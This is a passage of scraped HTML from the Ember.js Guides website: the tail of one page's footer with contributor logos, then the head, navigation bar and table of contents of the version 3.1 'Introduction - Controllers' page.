0V44.36c0-1.87-.94-4.11-5-4.11-8.13 0-17.26 4.09-17.35 4.13l-5.65 2.56V12.25h8V35a50.63 50.63 0 0 1 15-2.71c4.94 0 7.9 1.94 9.52 3.57a12.48 12.48 0 0 1 3.48 8.43v24zm2-43h-8a31.1 31.1 0 0 0 6-13h8a23.44 23.44 0 0 1-6 13z" id="black"/></svg> </a> </div> <div class="contributor"> <p>CDN provided by:</p> <a href="https://www.fastly.com"> <svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 1626 640" class="contributor-logo"><defs><style>.cls-1{fill:#999}</style></defs><path class="cls-1" d="M1105.2 71.3v421.1h126.4v-64.3h-41.8V7.2h-84.7l.1 64.1zM6.9 428.1h43V224.9h-43V169l43-7.1v-56.6c0-68.5 14.9-98.2 102.3-98.2 18.9 0 41.2 2.8 60.8 6.3l-11.6 68.9c-13.3-2.1-19.8-2.5-28.2-2.5-30.8 0-38.6 3.1-38.6 33.1V162h63.9v62.9h-63.9V428h42.5v64.3H6.9zM1062.1 407.7c-13.2 2.8-24.8 2.5-33.2 2.7-34.8.9-31.8-10.6-31.8-43.5v-142h66.3V162H997V7.2h-84.7v377.3c0 74.1 18.3 107.9 98 107.9 18.9 0 44.8-4.9 64.4-9zM1588.2 428.4a32 32 0 1 1-32.1 32 31.95 31.95 0 0 1 32.1-32m0 58.9a26.75 26.75 0 1 0 0-53.5 26.75 26.75 0 0 0 0 53.5m5.9-11.2l-6.5-9.5h-4.5v9.5h-7.2v-31.4h13.1c7.8 0 12.6 3.9 12.6 10.9 0 5.1-2.6 8.6-6.6 9.8l7.8 10.8h-8.7zm-10.9-15.8h5.7c3.3 0 5.5-1.3 5.5-4.7s-2.2-4.6-5.3-4.6h-5.9v9.3zM806.6 224.8v-11.3c-25.6-4.7-51.1-4.7-64.9-4.7-39.4 0-44.2 20.9-44.2 32.2 0 16 5.5 24.7 48.2 34 62.4 14 125.1 28.6 125.1 106 0 73.4-37.8 111.3-117.3 111.3-53.2 0-104.8-11.4-144.2-21.4v-63.2h64.1v11.2c27.6 5.3 56.5 4.8 71.6 4.8 42 0 48.8-22.6 48.8-34.6 0-16.7-12.1-24.7-51.5-32.7-74.2-12.7-133.2-38-133.2-113.5 0-71.4 47.7-99.4 127.3-99.4 53.9 0 94.8 8.4 134.2 18.4v62.8h-64zM416.9 280.4l-6.4-6.4-32.7 28.5a15.53 15.53 0 0 0-5.3-.9 16.4 16.4 0 1 0 16 16.4 19.32 19.32 0 0 0-.7-4.9z"/><path class="cls-1" d="M546.6 407.7l-.1-263.6h-84.7v24.7a173.6 173.6 0 0 0-57.6-21.8h.5v-29.2H415V96.3h-85.3v21.5H340V147h.6A174.1 174.1 0 1 0 462 467.4l15.3 24.9h89.5v-84.7h-20.2zm-169.1-.1v-10h-10.1v9.9a89.59 89.59 0 0 1-84.2-84.7h10.1v-10.1h-10a89.55 89.55 0 0 1 84.1-84v10h10.1v-10a89.67 89.67 0 0 1 84.4 81.5v2.9h-10.2v10.1h10.2v2.8a89.6 89.6 0 0 1-84.4 81.6zM1446 162h174.7v62.9h-41.8l-107.1 263.6c-30.7 74-81.1 143.7-157.9 143.7-18.9 0-44-2.1-61.5-6.3l7.7-76.9a218.08 218.08 0 0 0 33.5 3.5c35.6 0 75.8-22.1 88.4-60.5l-108.6-267.1h-41.8V162h174.8v62.9h-41.7l61.5 151.3 61.5-151.3H1446z"/></svg> </a> </div> <div class="contributor"> <p>Tested with:</p> <a href="https://percy.io"> <svg viewBox="0 0 423 125" fill="none" xmlns="http://www.w3.org/2000/svg" class="contributor-logo"><path fill-rule="evenodd" clip-rule="evenodd" d="M400.648 112.355c-.232.748-.608 1.273-1.127 1.568l-.15.076c-.562.234-1.163.2-1.871.023-2.286-.574-12.884-1.789-8.645-14.407l2.514-7.485-.57-1.455-2.755-6.677-17.26-40.878c-.38-.848-.242-1.62.097-2.147.351-.549.971-.826 1.846-.842h9.821c.673 0 1.245.185 1.684.53.44.348.762.878 1.035 1.531l12.67 30.214 9.088-30.13c.195-.72.54-1.268 1.004-1.632.455-.355 1.037-.532 1.716-.532h10.487c.89 0 1.522.257 1.894.738.372.499.422 1.22.146 2.149l-14.103 45.12-5.44 17.506-2.081 6.73zM359.293 71.74h10.723c1.657 0 2.632 1.076 2.047 2.74-3.022 10.177-12.575 17.223-23.981 17.223-14.817 0-25.831-11.255-25.831-25.835s11.014-25.833 25.831-25.833c11.406 0 20.959 7.045 23.981 17.222.585 1.663-.39 2.74-2.047 2.74h-10.723c-1.268 0-2.145-.587-2.925-1.663-1.754-2.446-4.776-3.817-8.286-3.817-6.335 0-11.21 4.6-11.21 11.351 0 6.753 4.875 11.352 11.21 11.352 3.51 0 6.532-1.37 8.286-3.718.78-1.175 1.559-1.762 2.925-1.762zm-52.512-29.06v2.55c1.212-2.158 3.978-5.221 11.198-5.123.524.006.945.206 1.255.53.455.474.673 1.115.673 1.943v11.96c0 .812-.169 1.42-.522 1.826-.337.404-.842.608-1.497.608-1.431-.05-2.794.1-4.124.455a9.778 9.778 0 0 0-3.551 1.791c-1.043.845-1.881 1.98-2.49 3.362-.619 1.404-.933 3.108-.942 5.136l-.069 12.755c-.072 13.321-10.191 11.303-12.553 11.166-.806-.046-1.432-.219-1.868-.658-.438-.44-.657-1.065-.657-1.875V42.68c0-.81.219-1.436.657-1.875.437-.44 1.061-.658 1.868-.658h10.097c.807 0 1.431.219 1.868.658.438.44.657 1.064.657 1.875zm-43.748-2.622c3.564.017 6.835.666 9.816 1.951a23.428 23.428 0 0 1 7.758 5.398c2.185 2.326 3.886 5.04 5.085 8.161 1.198 3.122 1.814 6.536 1.83 10.243 0 .634-.016 1.252-.065 1.838a65.191 65.191 0 0 1-.129 1.772c-.097.78-.389 1.348-.842 1.707-.454.358-1.053.536-1.782.536h-32.457c.615 1.919 1.474 3.479 2.607 4.682a10.428 10.428 0 0 0 3.952 2.602c1.507.552 3.11.812 4.811.812 1.376-.016 2.704-.227 3.968-.665 1.247-.44 2.332-1.026 3.223-1.773.47-.39.94-.7 1.393-.927.47-.227 1.004-.341 1.619-.341l9.329-.097c.892.016 1.539.276 1.928.78.372.504.388 1.154.016 1.95-1.279 2.83-2.981 5.203-5.102 7.106-2.122 1.918-4.584 3.348-7.386 4.325-2.801.958-5.862 1.447-9.182 1.447-4.05-.018-7.694-.683-10.933-1.985-3.255-1.3-6.025-3.104-8.324-5.446-2.317-2.324-4.082-5.057-5.313-8.161-1.23-3.122-1.847-6.504-1.863-10.162.016-3.658.649-7.04 1.912-10.16 1.263-3.107 3.044-5.838 5.36-8.163 2.301-2.34 5.054-4.146 8.228-5.446 3.175-1.3 6.689-1.967 10.543-1.984zm-68.18 5.316a22.761 22.761 0 0 1 6.533-3.865 21.372 21.372 0 0 1 7.61-1.408c6.452 0 12.76 2.895 16.989 7.575 4.223 4.673 6.836 11.128 6.836 18.253s-2.613 13.579-6.836 18.252c-4.23 4.679-10.537 7.575-16.989 7.575-4.725 0-9.683-1.492-13.137-4.816l.01 15.843c.008 13.321-10.192 11.302-12.554 11.166-.803-.046-1.432-.221-1.868-.66-.436-.437-.656-1.066-.656-1.874l-.032-68.665c0-.826.224-1.477.674-1.928.449-.451 1.094-.677 1.92-.677h8.871c.827 0 1.472.226 1.92.677.45.45.665 1.095.675 1.928l.033 2.624zm25.217 20.418c0-6.283-5.041-11.377-11.26-11.377-6.22 0-11.26 5.094-11.26 11.377 0 6.285 5.04 11.379 11.26 11.379 6.219 0 11.26-5.094 11.26-11.379zm36.016-10.825c-1.83 1.268-3.126 3.138-3.887 5.577h20.811c-.518-1.838-1.295-3.317-2.333-4.422a9.086 9.086 0 0 0-3.562-2.374 11.773 11.773 0 0 0-4.178-.716c-2.738.017-5.038.651-6.85 1.935zM153.654 30.725a5.164 5.164 0 0 0-4.903-3.74 5.184 5.184 0 0 0-1.999.362 22.04 22.04 0 0 1-7.383 1.483c-6.346-4.758-21.736-16.252-30.872-22.71 0 0 1.23 3.765 2.897 10.788 0 0-14.478-8.459-24.102-14.931 0 0 3.508 7.442 3.768 9.837 0 0-11.542-2.188-28.406-6.126 0 0 12.47 7.214 15.497 11.48 0 0-15.13-1.284-32.951-2.61 0 0 8.963 4.708 13.31 8.46 0 0-16.213 2.082-28.542 2.466 0 0 9.013 7.263 12.64 10.768 0 0-15.487 5.773-34.041 16.062 0 0 9.67.646 16.611 2.98 0 0-8.546 7.246-23.882 23.932 0 0 9.664-.186 17.475-1.098 0 0-6.266 9.29-14.148 26.035 0 0 5.261-3.185 10.322-4.283 0 0 .21 18.955 10.641 22.173l.01-.012c.51.17.999.234 1.424.241a5.854 5.854 0 0 0 1.595-.204c3.343-.883 5.918-4.082 8.898-7.787h.001c.976-1.213 1.978-2.458 3.041-3.671a25.118 25.118 0 0 1 4.595-4.737c3.758-2.955 8.926-5.15 15.158-4.127 7.023.709 11.247 7.71 14.643 13.339 2.567 4.256 4.595 7.617 7.501 7.987.204.025.408.04.606.043 4.45.078 6.104-5.028 8.198-11.493v-.002l.428-1.32.054.109c1.557-5.232 4.498-10.85 8.064-15.903 4.844-6.865 11.038-12.967 16.931-15.749l.015.03c3.204-1.762 6.574-3.42 9.895-5.054l.003-.002c10.295-5.064 20.018-9.848 24.983-17.277 2.483-3.716 3.762-8.306 3.802-13.644.035-4.788-.947-9.22-1.777-12.095zM110.69 86.593c-2.961 2.678-5.868 6.012-8.437 9.652-4.237 6.006-7.395 12.617-8.389 18.136 2.79 4.723 5.332 7.065 7.742 7.146l.076.001c2.217.039 3.704-1.408 4.422-4.3.536-2.158.694-5.134.878-8.58v-.004c.333-6.28.766-14.373 3.708-22.051zm-68.51 27.086l-.032-.084a21.944 21.944 0 0 1 4.857-5.354c3.071-2.414 7.087-4.161 11.896-3.649a133.762 133.762 0 0 1-1.91 4.6c-2.371 5.407-5.193 10.988-8.14 11.396a3.457 3.457 0 0 1-.527.032c-2.302-.04-4.311-2.31-6.143-6.941zm59.08-88.187L88.55 17.127l21.058 7.834-8.348.53zm-35.4 3.097l20.265 5.502 8.926-2.757-29.19-2.745zm36.116 10.72l4.4-3.177-16.858 2.5 12.458.676zm-28.803-.503l-7.042 4.488-19.263-2.153 26.305-2.335zm21.54 11.899l7.13-3.782-26.304 2.336 19.174 1.446zM75.185 54.7l-5.062 7.91-24.738 5.525 29.8-13.435zm-30.864 4.385L25.105 67.05l23.7-16.185-4.484 8.221zm-10.605 9.767l-.897 8.287-11.187 13.38 12.084-21.667z" fill="#3F3A40"/></svg> </a> </div> <div class="contributor"> <p>Resolved with:</p> <a href="https://dnsimple.com/resolving/emberjs"> <svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 613.33331 160" height="60" width="100" class="contributor-logo"><defs><clipPath id="a"><path d="M568.809 1050.45c-20.801 0-41.598-1.1-61.301-5.48V841.367c-28.461 10.946-61.301 16.418-105.086 16.418C246.98 857.785 120 751.605 120 580.84c0-175.145 116.031-271.477 286.801-271.477 84.285 0 170.765 22.989 224.402 51.45v684.157c-20.801 4.38-42.691 5.48-62.394 5.48zm-164.2-632.716c-94.14 0-158.722 63.493-158.722 165.293 0 100.707 68.961 165.293 160.914 165.293 37.215 0 71.152-4.379 100.707-22.988V434.156c-32.84-12.043-66.774-17.515-102.899-16.422zm611.911 442.243c-111.653 0-202.512-43.789-248.485-82.102v-452.09c20.797-4.379 41.598-5.472 61.301-5.472 20.797 0 42.691 1.093 62.394 5.472v391.887c24.083 14.23 66.774 28.461 114.94 28.461 79.91 0 125.88-36.125 125.88-131.36V325.785c21.9-4.379 41.6-5.472 62.4-5.472 19.7 0 41.6 1.093 62.39 5.472v318.543c0 119.317-73.34 215.649-240.82 215.649zm554.99-551.707c142.3 0 225.5 65.679 225.5 174.05 0 102.899-82.1 141.211-194.85 158.723-88.67 14.23-111.66 30.652-111.66 64.586 0 32.84 28.46 53.637 94.14 53.637 62.4 0 116.04-18.61 152.16-39.407 25.18 19.704 41.6 50.356 47.07 88.668-33.93 24.082-100.71 50.352-194.85 50.352-131.36 0-217.83-65.676-217.83-162.008 0-109.465 87.57-143.398 179.52-157.629 93.05-14.23 122.6-33.933 122.6-68.965 0-35.027-26.27-62.394-99.61-62.394-82.1 0-128.07 28.461-159.82 51.449-26.27-16.418-47.07-45.977-56.92-85.383 29.55-25.176 98.52-65.679 214.55-65.679zm398.45 614.101c42.69 0 78.82 35.027 78.82 78.809 0 43.79-36.13 78.82-78.82 78.82-44.88 0-81-35.03-81-78.82 0-43.782 36.12-78.809 81-78.809zm0-602.058c20.8 0 41.6 1.093 61.3 5.472v517.77c-19.7 4.379-41.59 5.472-61.3 5.472-20.8 0-41.59-1.093-62.39-5.472v-517.77c20.8-4.379 42.69-5.472 62.39-5.472zm791.43 539.664c-70.05 0-133.54-27.368-176.23-60.207-38.32 37.218-95.24 60.207-169.68 60.207-108.36 0-202.5-45.977-244.1-82.102v-452.09c20.8-4.379 41.6-5.472 61.3-5.472 20.8 0 42.69 1.093 62.39 5.472v391.887c27.37 16.418 65.68 28.461 106.18 28.461 84.29 0 116.04-53.641 116.04-128.074V325.785c20.8-4.379 41.6-5.472 63.49-5.472 19.7 0 41.6 1.093 61.3 5.472v329.488c0 16.422-2.19 32.84-5.47 48.168 25.17 20.797 60.2 42.692 110.55 42.692 84.29 0 117.13-53.641 117.13-128.074V325.785c19.71-4.379 40.51-5.472 62.4-5.472 19.7 0 41.6 1.093 61.3 5.472v329.488c0 112.75-76.63 204.704-226.6 204.704zm591.12-1.098c-98.52 0-180.62-38.313-230.97-79.91V123.273c21.89-4.378 41.59-5.472 62.39-5.472 20.8 0 41.6 1.094 61.3 5.472v201.418c32.84-10.949 67.87-15.328 111.66-15.328 144.49 0 274.75 101.805 274.75 276.95 0 179.523-120.41 272.566-279.13 272.566zm-4.38-438.953c-40.5 0-73.34 6.566-102.9 20.797v279.136c31.75 17.516 65.68 25.176 101.81 25.176 95.23 0 159.82-60.203 159.82-159.816 0-102.899-64.59-165.293-158.73-165.293zm458.66-99.613c20.8 0 42.69 1.093 62.39 5.472v718.095c-20.79 4.37-42.69 5.47-63.48 5.47-20.81 0-41.6-1.1-61.31-5.47V325.785c21.9-4.379 42.7-5.472 62.4-5.472zM4480 624.625c0 139.02-98.52 234.254-237.54 234.254-147.78 0-260.53-116.031-260.53-276.945 0-169.672 111.66-272.571 267.1-272.571 103.99 0 171.86 38.313 215.65 73.344-4.38 31.746-26.28 66.773-53.64 84.289-33.94-24.082-77.72-53.641-153.25-53.641-86.48 0-139.02 52.543-148.88 137.926h366.71c3.29 28.461 4.38 45.977 4.38 73.344zm-369.99 8.758c8.76 71.152 55.83 124.789 132.45 124.789 84.29-1.094 116.03-63.488 116.03-124.789z" clip-rule="evenodd"/></clipPath><clipPath id="b"><path d="M0 0h4600v1200H0z"/></clipPath></defs><g clip-path="url(#a)" transform="matrix(.13333 0 0 -.13333 0 160)"><g clip-path="url(#b)"><path d="M20 17.8h4560V1180H20z"/></g></g></svg> </a> </div> </div> </div> </div> </footer> <script type="x/boundary" id="fastboot-body-end"></script> <script src="/assets/vendor-43f2851966bb68f3f8b11728eabc662f.js"></script> <script src="/assets/ember-guides-282695ea5f03fe0586ac6b0c02eff6f2.js"></script> </body> </html>
{ "pile_set_name": "Github" }
<!DOCTYPE html> <html> <head> <meta charset="utf-8"> <meta http-equiv="X-UA-Compatible" content="IE=edge"> <meta name="viewport" content="width=device-width, initial-scale=1"> <meta name="ember-guides/config/environment" content="%7B%22modulePrefix%22%3A%22ember-guides%22%2C%22environment%22%3A%22production%22%2C%22rootURL%22%3A%22%2F%22%2C%22locationType%22%3A%22trailing-history%22%2C%22historySupportMiddleware%22%3Atrue%2C%22EmberENV%22%3A%7B%22FEATURES%22%3A%7B%7D%2C%22EXTEND_PROTOTYPES%22%3A%7B%22Date%22%3Afalse%7D%2C%22_APPLICATION_TEMPLATE_WRAPPER%22%3Afalse%2C%22_DEFAULT_ASYNC_OBSERVERS%22%3Atrue%2C%22_JQUERY_INTEGRATION%22%3Afalse%2C%22_TEMPLATE_ONLY_GLIMMER_COMPONENTS%22%3Atrue%7D%2C%22APP%22%3A%7B%22name%22%3A%22ember-guides%22%2C%22version%22%3A%223.7.0%2Ba7598d50%22%7D%2C%22ember-meta%22%3A%7B%22description%22%3A%22Ember.js%20helps%20developers%20be%20more%20productive%20out%20of%20the%20box.%20Designed%20with%20developer%20ergonomics%20in%20mind%2C%20its%20friendly%20APIs%20help%20you%20get%20your%20job%20done%E2%80%94fast.%22%7D%2C%22guidemaker%22%3A%7B%22title%22%3A%22Ember%20Guides%22%2C%22sourceRepo%22%3A%22https%3A%2F%2Fgithub.com%2Fember-learn%2Fguides-source%22%7D%2C%22algolia%22%3A%7B%22algoliaId%22%3A%22Y1OMR4C7MF%22%2C%22algoliaKey%22%3A%225d01c83734dc36754d9e94cbf6f8964d%22%2C%22indexName%22%3A%22ember-guides%22%7D%2C%22showdown%22%3A%7B%22ghCompatibleHeaderId%22%3Atrue%2C%22prefixHeaderId%22%3A%22toc_%22%7D%2C%22deprecationsGuideURL%22%3A%22https%3A%2F%2Fwww.emberjs.com%2Fdeprecations%2F%22%2C%22metricsAdapters%22%3A%5B%7B%22name%22%3A%22GoogleAnalytics%22%2C%22environments%22%3A%5B%22production%22%5D%2C%22config%22%3A%7B%22id%22%3A%22UA-27675533-1%22%2C%22require%22%3A%5B%22linkid%22%5D%7D%7D%5D%2C%22infoBanner%22%3A%7B%22content%22%3A%22Ember%20Octane%20is%20here!%20A%20lot%20has%20changed%20since%20Ember%203.14%2C%20including%20these%20Guides.%20Read%20more%20in%20the%20%3Ca%20href%3D%5C%22https%3A%2F%2Fblog.emberjs.com%2F2019%2F12%2F20%2Foctane-is-here.html%5C%22%3EEmber%20Blog%3C%2Fa%3E.%22%7D%2C%22exportApplicationGlobal%22%3Afalse%2C%22fastboot%22%3A%7B%22hostWhitelist%22%3A%5B%7B%7D%5D%7D%2C%22ember-collapsible-panel%22%3A%7B%7D%7D" /> <!-- EMBER_CLI_FASTBOOT_TITLE --> <meta name="ember-cli-head-start" content> <title>Introduction - Controllers - Ember Guides</title> <meta name="description" content="What is a Controller? A Controller is routable object which receives a single property from the Route – model – which is the return value of the Route's model() method. The model is passed from the Route to the Controller by default using the..."> <meta name="referrer" content="unsafe-url"> <!----> <!----> <!----> <!----> <meta property="og:title" content="Introduction - Controllers - Ember Guides"> <!----> <meta property="og:description" content="What is a Controller? A Controller is routable object which receives a single property from the Route – model – which is the return value of the Route's model() method. The model is passed from the Route to the Controller by default using the..."> <meta property="og:type" content="website"> <!----> <meta name="twitter:card" content="summary"> <!----> <!----> <meta name="twitter:title" content="Introduction - Controllers - Ember Guides"> <!----> <meta name="twitter:description" content="What is a Controller? A Controller is routable object which receives a single property from the Route – model – which is the return value of the Route's model() method. The model is passed from the Route to the Controller by default using the..."> <!----> <!----> <!----><meta name="ember-cli-head-end" content> <link integrity="" rel="stylesheet" href="/assets/vendor-c5cdfdb224e40208d070a18942b32fd3.css"> <link integrity="" rel="stylesheet" href="/assets/ember-guides-92dca9f7555a994d11fd3e94376c4753.css"> <link rel="shortcut icon" href="/images/favicon.png" /> </head> <body class="application version show version-show"> <script type="x/boundary" id="fastboot-body-start"></script><!----> <header id="ember327028" class="es-header ember-view" role="banner"><div id="ember327029" class="ember-view"><div class="container"> <nav id="ember327030" class="navbar navbar-inverse navbar-expand-lg bg-inverse ember-view"> <a class="navbar-brand" href="https://www.emberjs.com"> <svg width="94" height="37" viewBox="0 0 259 100" xmlns="http://www.w3.org/2000/svg"><title>Ember Logo 1c White</title><g fill="#FFF" fill-rule="evenodd"><path d="M253.97 68.576s-6.28 4.872-11.807 4.328c-5.528-.544-3.792-12.896-3.792-12.896s1.192-11.328-2.064-12.28c-3.248-.944-7.256 2.952-7.256 2.952s-4.984 5.528-7.368 12.576l-.656.216s.76-12.36-.104-15.176c-.648-1.408-6.608-1.296-7.584 1.192-.976 2.496-5.744 19.832-6.072 27.096 0 0-9.32 7.912-17.44 9.208-8.128 1.304-10.08-3.792-10.08-3.792s22.104-6.176 21.344-23.84c-.752-17.664-17.824-11.128-19.752-9.68-1.872 1.408-11.848 7.424-14.76 24.088-.096.56-.272 3.04-.272 3.04s-8.56 5.736-13.328 7.256c0 0 13.328-22.432-2.92-32.616-4.574-2.753-8.56-.216-10.929 2.11-1.451 1.425 19.705-21.718 14.825-42.422C151.635.08 146.707-.976 142.187.624c-6.864 2.704-9.464 6.712-9.464 6.712s-8.888 12.896-10.952 32.08c-2.056 19.176-5.088 42.368-5.088 42.368s-4.232 4.12-8.128 4.336c-3.904.208-2.168-11.6-2.168-11.6s3.032-17.984 2.824-21.024c-.224-3.032-.44-4.656-4.016-5.736-3.576-1.088-7.48 3.464-7.48 3.464s-10.288 15.6-11.152 17.984l-.552.984-.536-.656s7.256-21.24.328-21.56c-6.936-.328-11.488 7.584-11.488 7.584s-7.912 13.224-8.24 14.736l-.536-.648s3.248-15.384 2.6-19.184c-.656-3.792-4.224-3.032-4.224-3.032s-4.552-.544-5.744 2.384c-1.192 2.928-5.528 22.32-6.072 28.496 0 0-11.376 8.128-18.856 8.232-7.472.112-6.712-4.736-6.712-4.736s27.416-9.384 19.936-27.912c-3.36-4.768-7.256-6.264-12.784-6.16-5.528.112-12.384 3.48-16.824 13.448-2.128 4.752-2.896 9.272-3.336 12.68 0 0-4.792.984-7.392-1.184-2.608-2.168-3.944 0-3.944 0s-4.464 5.696-.024 7.424c4.448 1.736 11.376 2.544 11.376 2.544.64 3.032 2.488 8.192 7.904 12.296 8.128 6.176 23.72-.568 23.72-.568l6.392-3.584s.216 5.864 4.88 6.72c4.656.856 6.608-.016 14.736-19.736 4.768-10.08 5.096-9.536 5.096-9.536.536-.112-3.144 19.176-1.736 24.376 1.408 5.208 7.584 4.664 7.584 4.664s3.36.648 6.072-8.888c2.704-9.536 7.912-20.048 7.912-20.048.64 0-1.632 19.72 1.832 26.008 3.472 6.288 12.464 2.112 12.464 2.112s6.288-3.168 7.264-4.144c0 0 7.456 6.352 17.976 5.2 23.52-4.632 31.888-10.888 31.888-10.888s4.04 10.24 16.56 11.192c14.296 1.08 22.104-7.912 22.104-7.912s-.112 5.848 4.872 7.912c4.992 2.056 8.344-9.52 8.344-9.52l8.344-22.992c.76 0 1.192 14.952 9.432 17.336 8.232 2.384 18.96-5.584 18.96-5.584s2.6-1.432 2.168-5.768c-.44-4.336-4.336-2.72-4.336-2.72zM36.93 57.728c2.92 2.816 1.84 8.88-3.687 12.672-5.52 3.8-8.016 3.04-8.016 3.04.328-12.896 8.784-18.536 11.704-15.712zm107.817-44.536c1.84 9.752-16.144 38.792-16.144 38.792.216-6.504 6.608-28.496 6.608-28.496s7.688-20.048 9.536-10.296zM126.97 87.2s-1.408-4.768 2.6-18.096c4.016-13.328 13.44-8.128 13.44-8.128s6.504 4.984 1.408 18.312C139.33 92.616 126.97 87.2 126.97 87.2zm54.832-26.112c4.44-8.128 7.912-3.688 7.912-3.688s3.792 4.12-.544 10.296c-4.336 6.176-10.616 5.744-10.616 5.744s-1.192-4.232 3.248-12.352z"/><path d="M226.028 93.977v-1.555h.986c.137 0 .274.015.418.03.144.02.28.057.396.107.122.05.216.122.288.216.079.094.115.223.115.382 0 .36-.108.59-.324.684-.216.093-.497.136-.835.136h-1.044zm-1.174-2.47v5.92h1.174v-2.528h.734l1.44 2.527h1.231l-1.584-2.585a2.8 2.8 0 0 0 .612-.13c.187-.064.353-.158.49-.28.144-.122.252-.28.331-.475.086-.195.122-.425.122-.699 0-.64-.201-1.094-.597-1.353-.403-.267-.98-.396-1.72-.396h-2.233zm-1.88 2.967c0-.605.102-1.159.31-1.663.21-.504.49-.936.85-1.303a3.853 3.853 0 0 1 1.26-.864 3.93 3.93 0 0 1 1.562-.31c.548 0 1.066.101 1.548.31.49.209.908.497 1.268.864s.64.8.856 1.303c.21.504.317 1.058.317 1.663s-.108 1.16-.317 1.67c-.216.505-.496.951-.856 1.318-.36.375-.778.663-1.268.871-.482.21-1 .31-1.548.31a3.93 3.93 0 0 1-1.562-.31 3.765 3.765 0 0 1-1.26-.87 4.109 4.109 0 0 1-.85-1.318 4.366 4.366 0 0 1-.31-1.67zm-1.446 0c0 .814.15 1.541.446 2.19.302.654.698 1.209 1.195 1.67.504.46 1.08.813 1.735 1.058.656.245 1.34.367 2.052.367.72 0 1.404-.122 2.06-.367a5.282 5.282 0 0 0 1.735-1.059 5.234 5.234 0 0 0 1.195-1.67c.295-.648.44-1.375.44-2.189 0-.799-.145-1.526-.44-2.174a5.125 5.125 0 0 0-2.93-2.722 5.675 5.675 0 0 0-2.06-.374c-.712 0-1.396.122-2.052.374a5.125 5.125 0 0 0-2.93 2.722c-.295.648-.446 1.375-.446 2.174z"/></g></svg> </a> <button id="ember327031" class="navbar-toggler collapsed ember-view"> <span class="navbar-toggler-icon"></span> </button> <div id="ember327032" class="navbar-collapse collapse ember-view"><ul id="ember327033" class="mr-auto nav navbar-nav ember-view"><!----><li id="ember327034" class="dropdown nav-item ember-view"> <a href="#" id="ember327035" class="dropdown-toggle nav-link ember-view" role="button">Docs <span class="caret"></span></a> <!----> </li> <!----><li id="ember327037" class="dropdown nav-item ember-view"> <a href="#" id="ember327038" class="dropdown-toggle nav-link ember-view" role="button">Releases <span class="caret"></span></a> <!----> </li> <li id="ember327040" class="nav-item ember-view"> <a href="https://emberjs.com/blog" class="nav-link">Blog</a> </li><!----> <!----><li id="ember327041" class="dropdown nav-item ember-view"> <a href="#" id="ember327042" class="dropdown-toggle nav-link ember-view" role="button">Community <span class="caret"></span></a> <!----> </li> <!----><li id="ember327044" class="dropdown nav-item ember-view"> <a href="#" id="ember327045" class="dropdown-toggle nav-link ember-view" role="button">About <span class="caret"></span></a> <!----> </li> </ul><ul id="ember327047" class="nav navbar-nav ember-view"> <form> <div id="ember327048" class="search-input ember-view"> <input id="search-input" placeholder="Search the guides" autocomplete="off" type="search"> <div id="ember327049" class="ds-dropdown-results ember-tether ember-view"><!----></div></div> </form> </ul> </div> </nav></div> </div> </header> <!----> <div class="info-banner-wrapper"> <div class="info-banner-container"> <div id="ember327050" class="ember-view"><p>Ember Octane is here! A lot has changed since Ember 3.14, including these Guides. Read more in the <a href="https://blog.emberjs.com/2019/12/20/octane-is-here.html">Ember Blog</a>.</p> </div> </div> </div> <main class="container"> <aside class="sidebar"> <label for="version-select" class="visually-hidden">Guides version</label> <div id="ember327051" class="ember-basic-dropdown ember-view"> <div aria-label="v3.1.0" aria-owns="ember-basic-dropdown-content-ember327051" tabindex="0" data-ebd-id="ember327051-trigger" role="button" id="ember327052" class="ember-power-select-trigger ember-basic-dropdown-trigger ember-basic-dropdown-trigger--in-place ember-view"> <span class="ember-power-select-selected-item"> 3.1 <!----> </span> <!----><span class="ember-power-select-status-icon"></span> </div> <div id="ember-basic-dropdown-content-ember327051" class="ember-basic-dropdown-content-placeholder" style="display: none;"></div> </div> <input id="toc-toggle" class="toc-toggle visually-hidden" type="checkbox"> <label for="toc-toggle">Table of Contents <span class="visually-hidden">toggle</span></label> <nav class="toc-container versions" aria-label="table of contents"> <ol id="ember327056" class="toc-level-0 ember-view"><!----> <li class="toc-group toc-level-0"> <div id="ember327059" class="cp-Panel cp-is-closed ember-view"><a href="/v3.1.0/getting-started" id="ember327060" class="cp-Panel-toggle ember-view"> Getting Started </a> <div id="ember327061" class="cp-Panel-body ember-view"> <!----> </div> </div> </li> <li class="toc-group toc-level-0"> <div id="ember327063" class="cp-Panel cp-is-closed ember-view"><a href="/v3.1.0/tutorial" id="ember327064" class="cp-Panel-toggle ember-view"> Tutorial </a> <div id="ember327065" class="cp-Panel-body ember-view"> <!----> </div> </div> </li> <li class="toc-group toc-level-0"> <div id="ember327067" class="cp-Panel cp-is-closed ember-view"><a href="/v3.1.0/object-model" id="ember327068" class="cp-Panel-toggle ember-view"> The Object Model </a> <div id="ember327069" class="cp-Panel-body ember-view"> <!----> </div> </div> </li> <li class="toc-group toc-level-0"> <div id="ember327071" class="cp-Panel cp-is-closed ember-view"><a href="/v3.1.0/routing" id="ember327072" class="cp-Panel-toggle ember-view"> Routing </a> <div id="ember327073" class="cp-Panel-body ember-view"> <!----> </div> </div> </li> <li class="toc-group toc-level-0"> <div id="ember327075" class="cp-Panel cp-is-closed ember-view"><a href="/v3.1.0/templates" id="ember327076" class="cp-Panel-toggle ember-view"> Templates </a> <div id="ember327077" class="cp-Panel-body ember-view"> <!----> </div> </div> </li> <li class="toc-group toc-level-0"> <div id="ember327079" class="cp-Panel cp-is-closed ember-view"><a href="/v3.1.0/components" id="ember327080" class="cp-Panel-toggle ember-view"> Components </a> <div id="ember327081" class="cp-Panel-body ember-view"> <!----> </div> </div> </li> <li class="toc-group toc-level-0"> <div id="ember327083" class="cp-Panel cp-is-open ember-view"><a href="/v3.1.0/controllers" id="ember327084" class="cp-Panel-toggle selected ember-view"> Controllers </a> <div id="ember327085" class="cp-Panel-body cp-is-open ember-view"> <div class="cp-Panel-body-inner"> <ol id="ember327086" class="toc-level-1 ember-view"> <li class="toc-link toc-level-1 selected"> <a href="/v3.1.0/controllers/index" id="ember327088" class="ember-view"> Introduction </a> </li> </ol> </div> </div> </div> </li> <li class="toc-group toc-level-0"> <div id="ember327090" class="cp-Panel cp-is-closed ember-view"><a href="/v3.1.0/models" id="ember327091" class="cp-Panel-toggle ember-view"> Models </a> <div id="ember327092" class="cp-Panel-body ember-view"> <!----> </div> </div> </li> <li class="toc-group toc-level-0"> <div id="ember327094" class="cp-Panel cp-is-closed ember-view"><a href="/v3.1.0/applications" id="ember327095" class="cp-Panel-toggle ember-view"> Application Concerns </a> <div id="ember327096" 